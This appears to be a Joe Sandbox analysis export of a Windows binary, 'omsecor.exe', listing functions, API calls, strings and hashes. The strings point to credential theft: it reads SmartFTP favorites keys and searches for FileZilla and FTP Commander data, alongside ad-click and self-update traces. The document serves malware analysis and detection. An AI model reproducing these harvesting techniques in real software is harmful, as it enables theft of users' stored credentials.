Instruction Fuzzy Hash: B8318E71900119BFDB10DBA4DC84EFE7679EB54349F14087AFA41B62C2D6385E448BA8

Function 00405136 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,?,00000008), ref: 004051EB

Strings

SOFTWARE\smartftp\client 2.0\settings\backup, xrefs: 00405168
personal favorites, xrefs: 00405176
SOFTWARE\smartftp\client 2.0\settings\general\favorites, xrefs: 00405157
folder, xrefs: 00405184

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: EnvironmentExpandOpenStrings
String ID: SOFTWARE\smartftp\client 2.0\settings\backup$SOFTWARE\smartftp\client 2.0\settings\general\favorites$folder$personal favorites
API String ID: 3923277744-821743658
Opcode ID: e843f97767911fec9b6fd3034691d6ab50a9750596cd8693bb12be5acb83529b
Instruction ID: 0454e2dbaba930a1c05830d090df37f1eb9a44f33d61805f8e12f109ce5a2445
Opcode Fuzzy Hash: e843f97767911fec9b6fd3034691d6ab50a9750596cd8693bb12be5acb83529b
Instruction Fuzzy Hash: 21213E71D00518ABDB10EB95DC41ADFB7BCEB44318F1084B7E514B2181EB389B49CFA9

Function 0040A0B5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040A0C0
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell.Explorer, xrefs: 0040A0E8
AtlAxWin, xrefs: 0040A0ED

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CreateHandleInitializeModuleWindow
String ID: AtlAxWin$Shell.Explorer
API String ID: 950422046-1300462704
Opcode ID: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction ID: 8885d0d040d3ab3e1edd42f45155a7fe84e7bff231f75e8e802cb7627400a982
Opcode Fuzzy Hash: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction Fuzzy Hash: 78118F30200200FFD320ABA6CC4CE6B7BBCEFCA711B240579F515EB291D7789801CA65

Function 00407267 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,000003E8,?,?,?,?,?,?,?,?,?,?,?,00407B63,?), ref: 0040727C
SystemTimeToFileTime.KERNEL32(?,?,?,000003E8,?), ref: 004072C1
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 004072CB
__aulldiv.LIBCMT ref: 004072E3

Strings

c{@, xrefs: 004072D3

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: c{@
API String ID: 3735792614-264719814
Opcode ID: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction ID: ef19eb4ac8525f4bf2260e0142840e6d018c3cac6eb9bd4f47b1f5cd165e8a78
Opcode Fuzzy Hash: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction Fuzzy Hash: D401DE62D1022DAACB01DFE4D984CEFB77DFF44348B00156AE901F7250E7B5AA4887A5

Function 004072ED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040286E), ref: 004072F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 00407337
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 00407341
__aulldiv.LIBCMT ref: 00407359

Strings

n(@, xrefs: 0040734C, 00407357

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: n(@
API String ID: 3735792614-2525614082
Opcode ID: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction ID: 0875687ad9f8fbdff1f190dbab39d4211c2ed1a8acd2afdabfbd9ccbaffc37b8
Opcode Fuzzy Hash: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction Fuzzy Hash: 83011A66D2022DAACF00DBE5DD44CEFB7BCFF44344B04051AE901B3210E7B5A648CBA9

Function 0040AB7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040AB93
CharLowerW.USER32(?), ref: 0040ABA0
GetCommandLineW.KERNEL32 ref: 0040ABC0

Strings

netprotdrvss.exe, xrefs: 0040ABA6
/updatefile3, xrefs: 0040ABC6

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CharCommandFileLineLowerModuleName
String ID: /updatefile3$netprotdrvss.exe
API String ID: 3118597399-3449771660
Opcode ID: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction ID: 1eba2a713c21f7c79877a49aa3ec6850c44e44909145826ab611dd80b60fa5a6
Opcode Fuzzy Hash: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction Fuzzy Hash: 41E09B3655021A5AD750FBB1DD07BA633ACFB01705F1049B6A246F10C0EE74D55D4F9D

Function 00409FB1 Relevance: 7.6, APIs: 5, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409FCE
GetTickCount.KERNEL32 ref: 00409FDE
Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction ID: c0dc46c0c87f7bc49602bd7d2efae9f565a6f52602c3eafe7569a8fa2f6b8eea
Opcode Fuzzy Hash: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction Fuzzy Hash: 3F118671D103199ECB10AFF5CC8899F7BB9BB45314B144A7AE161F71E0C778CA118B1A

Function 00409F2B Relevance: 7.5, APIs: 5, Instructions: 40windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409F5B
GetTickCount.KERNEL32 ref: 00409F5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
DispatchMessageW.USER32(?), ref: 00409F80
Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction ID: 2f378a1af0056e794f94b22e0cd08b0b0b180d2e60cd5d2ebdc62f673b65dbb1
Opcode Fuzzy Hash: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction Fuzzy Hash: D1F0C872D042149BD714B7F2DD09B7D76A89B45714F104A36F551F70D1CA7CCD148A58

Function 00408692 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5B
Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5F
Part of subcall function 00409F2B: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
Part of subcall function 00409F2B: DispatchMessageW.USER32(?), ref: 00409F80
Part of subcall function 00409F2B: Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

CharLowerW.USER32(?,?,?,00423DD4,?,00000001), ref: 00408751
SysFreeString.OLEAUT32(?), ref: 0040875A

Strings

http://, xrefs: 00408711
+@, xrefs: 004086A0

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CountInternetMessageTick$CharDispatchFreeLowerOpenOptionPeekSleepString
String ID: http://$+@
API String ID: 147727044-3628382792
Opcode ID: a6511d5d8b0c810daf140c5c911559c37a96c1275369982660b5569d586a1c5f
Instruction ID: 305e6509dfdc939f3ffb47eba37a7af79922f54013ecb7534e3961c93d2e4cc1
Opcode Fuzzy Hash: a6511d5d8b0c810daf140c5c911559c37a96c1275369982660b5569d586a1c5f
Instruction Fuzzy Hash: 4E41D5729002199BCF15AF66CD056EFBBB4FF44314F20447FE981B3292DB3889528B99

Function 00407D61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00414F68,00000000,00000000,00000000,UniqueNum,00000001), ref: 00407E09
WriteFile.KERNEL32(00000078,00000064,00000001,00000000), ref: 00407E20

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407D86
x, xrefs: 00407DEF

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerWrite
String ID: UniqueNum$x
API String ID: 594998759-2399716736
Opcode ID: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction ID: 8c5cde1ed6458afa5e70834db293a7f07ca8c6efd1b8e13f0da2095665a79c5a
Opcode Fuzzy Hash: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction Fuzzy Hash: F72129329002186BDF04AB74ED49DDF3B69EF44315F104636FA02E71E1E634D951C799

Function 004040E7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 0040413A

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

&, xrefs: 00404110
#, xrefs: 0040411E
*filezilla*, xrefs: 004040F6

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$*filezilla*
API String ID: 3438805939-758400021
Opcode ID: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction ID: af0dd5899ef73ee7264a7e51d90439c8fcf38b6470501fb51340e8e2557856c3
Opcode Fuzzy Hash: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction Fuzzy Hash: 8E1151B2901128BADB10EA92DC49EDF7BBCEF85304F00407AF605B6080E7385785CBE9

Function 00404A92 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 00404AE5

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

#, xrefs: 00404AC9
&, xrefs: 00404ABB
ftp*commander*, xrefs: 00404AA1

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$ftp*commander*
API String ID: 3438805939-1149875651
Opcode ID: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction ID: 4761086559ade70d73b1403ca51e5d3bc462c500c99379e4fd01d7d946a964d6
Opcode Fuzzy Hash: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction Fuzzy Hash: B61121B2901118BADB10AA92DC49EDF7F7CEF85704F00407AF609B6180E7799785CBA9

Function 00409445 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094A9
SysFreeString.OLEAUT32(?), ref: 004094AE

Strings

_blank, xrefs: 0040948E
an.yandex.ru/count, xrefs: 00409478

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: _blank$an.yandex.ru/count
API String ID: 3341692771-25359924
Opcode ID: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction ID: 1eacecae91598e8b756cf85833a4a3bbf756f1dfdfc5fa02fd6c22f827bf3b29
Opcode Fuzzy Hash: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction Fuzzy Hash: 28015A35204114BBDB109FA6CD05D9B77A8EF85324724443BBC15E7291E779EE02CA69

Function 00409808 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409868
SysAllocString.OLEAUT32(?), ref: 00409876

Strings

"URL", xrefs: 00409838
"encrypted", xrefs: 00409815

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "URL"$"encrypted"
API String ID: 2525500382-4151690107
Opcode ID: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction ID: 961e294ab5ae80d7ab2f0271a6faa46f3ea3f555f1d55132cdad114d364c87da
Opcode Fuzzy Hash: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction Fuzzy Hash: 62F0D671A0021DA7CF00AB69CC01FD637ECAB4438CF1484B6F904F32C1E974EA098B98

Function 0040978D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004097ED
SysAllocString.OLEAUT32(?), ref: 004097FB

Strings

"url", xrefs: 0040979A
"domain", xrefs: 004097BD

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "domain"$"url"
API String ID: 2525500382-2438671658
Opcode ID: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction ID: 610bf4d9b2292206f8ef054453b19a236663fc5a2da35db14ea77673b97cd822
Opcode Fuzzy Hash: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction Fuzzy Hash: 08F0A271A0021DA6CF41AAA9CC05FD637E8AB44348F1444B6F908F7281EA78EA188B94

Function 00406C77 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Internet Explorer,00000000,00000001,00000000,?,?,00402C77), ref: 00406C91

Strings

Build, xrefs: 00406CA6
SOFTWARE\Microsoft\Internet Explorer, xrefs: 00406C87
w,@, xrefs: 00406CA0

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Open
String ID: Build$SOFTWARE\Microsoft\Internet Explorer$w,@
API String ID: 71445658-3061378640
Opcode ID: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction ID: 930cfdd3d9e2cf302383723a85cc45ac24d6ba1b6d45bcf7a76994dd36721e6e
Opcode Fuzzy Hash: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction Fuzzy Hash: FBE08672664218FAEF009B929C07FDA77ACDB00758F20086AF502F10C1DAB5F714D6AC

Function 0040848F Relevance: 6.1, APIs: 4, Instructions: 81memoryregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

Part of subcall function 0040845D: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000008,00000000,?,?,004084C5,?,?,?,00000008,?,00403796,?), ref: 00408475
Part of subcall function 0040845D: RegCloseKey.ADVAPI32(?,?,004084C5,?,?,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408484

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408524
GetProcessHeap.KERNEL32(00000000,00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408534
HeapFree.KERNEL32(00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 0040853B

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Heap$CloseEnvironmentExpandFreeOpenProcessQueryStringsValue
String ID:
API String ID: 3604167287-0
Opcode ID: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction ID: 704a8cbe2313c99ccb7bf4cac6d27c9c5720caa44ca6f9902b9fd9ccb38d811f
Opcode Fuzzy Hash: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction Fuzzy Hash: 0521C871900626BBDF205B748E45ABF3668EF05328F10063EF561F22D0EB758D508658

Function 00409581 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

CharLowerW.USER32(00408E44,00000000,00000000,?,00408E44,00408795), ref: 004095A4
CharLowerW.USER32(00408795), ref: 004095D8
SysFreeString.OLEAUT32(00408795), ref: 00409608
SysFreeString.OLEAUT32(00408E44), ref: 0040960D

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CharFreeLowerString
String ID:
API String ID: 2335467167-0
Opcode ID: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction ID: 6911929459278785efe31e607170db17e103bee024a9a22ae291265c1613d99e
Opcode Fuzzy Hash: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction Fuzzy Hash: 20116D72D00108BBDB019F9ADC85B9E7BB8EF44305F1544BAE405F21A1D779AE409F44

Function 00408091 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004081A3

Strings

-, xrefs: 00408140

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: -
API String ID: 885266447-2547889144
Opcode ID: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction ID: cbf3f064ca1262f0759db58cdf0f181467b31290bd4ebff5f053a9a619aca6df
Opcode Fuzzy Hash: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction Fuzzy Hash: 58415D31D0422699CB2177B98E417BB61A9DF44758F1440BFF9C0B72C2EEBC5D8581AE

Analysis Process: omsecor.exePID: 8072, Parent PID: 7452COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0.3%
Signature Coverage:	0%
Total number of Nodes:	1163
Total number of Limit Nodes:	12

Executed Functions

Function 004012C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(ks clku .d,24468419), ref: 004012DD

Part of subcall function 00401080: GetTickCount.KERNEL32 ref: 00401096
Part of subcall function 00401080: GetDesktopWindow.USER32 ref: 004010B8
Part of subcall function 00401080: GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
Part of subcall function 00401080: GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?), ref: 0040114B
Part of subcall function 00401080: GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
Part of subcall function 00401080: GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
Part of subcall function 00401080: GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

ks clku .d, xrefs: 004012D8

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopFileFindFirstGlobalNameTickTimesWindow
String ID: ks clku .d
API String ID: 973805369-4096487313
Opcode ID: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction ID: 8201e92c16030f82e268503128fd01f75d7624b5287a074f0a6a6b49dcde2be8
Opcode Fuzzy Hash: f572dfb4ccbad4a63051ea1b90dc6402510860d94203dc7c9fb76134c3d65c66
Instruction Fuzzy Hash: 13C012701042448FC330AF24DE0ABAA37E4AB48300F00093AA5E8E60A4DA3455598A8A

Function 00401080 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 156
memorytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00401096
GetDesktopWindow.USER32 ref: 004010B8
GetClassNameA.USER32(00000000,00000000,00000400), ref: 004010CC
GlobalAlloc.KERNELBASE(00000000,000F6950), ref: 004010EE
GetCurrentProcess.KERNEL32(?), ref: 0040114B
GetProcessIoCounters.KERNEL32(00000000), ref: 0040114E
GetCurrentProcess.KERNEL32(?,?,?,?), ref: 004011B9
GetProcessTimes.KERNELBASE(00000000), ref: 004011BC

Strings

cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp, xrefs: 00401131

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: Process$Current$AllocClassCountCountersDesktopGlobalNameTickTimesWindow
String ID: cjkU dklu UUido c;aopi quio ,mvnciu cxklnsp
API String ID: 509927810-2920797944
Opcode ID: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction ID: 30898c1c04428891cb82ceb7e239a2b08516cd6c9376f1465321758e23d54b14
Opcode Fuzzy Hash: e0b8abb97aa25d1df5e5a951dd4f26f151847d18626d26f9063e3e0a3aa5dc8f
Instruction Fuzzy Hash: E55127F1D041744BDB288B298D54BB9BBF5ABC5305F0881BEE689B7381D5385A48CF28

Function 00407A98 Relevance: 9.1, APIs: 6, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407AB5: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407AB5: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 0000000D.00000002.1904905497.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1904270366.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1904905497.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.1905050512.0000000000422000.00000008.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_omsecor.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction ID: 53099f65029657388ac4b193d9ffb221688749bb3c6439a8311ebbe5e3b7996f
Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
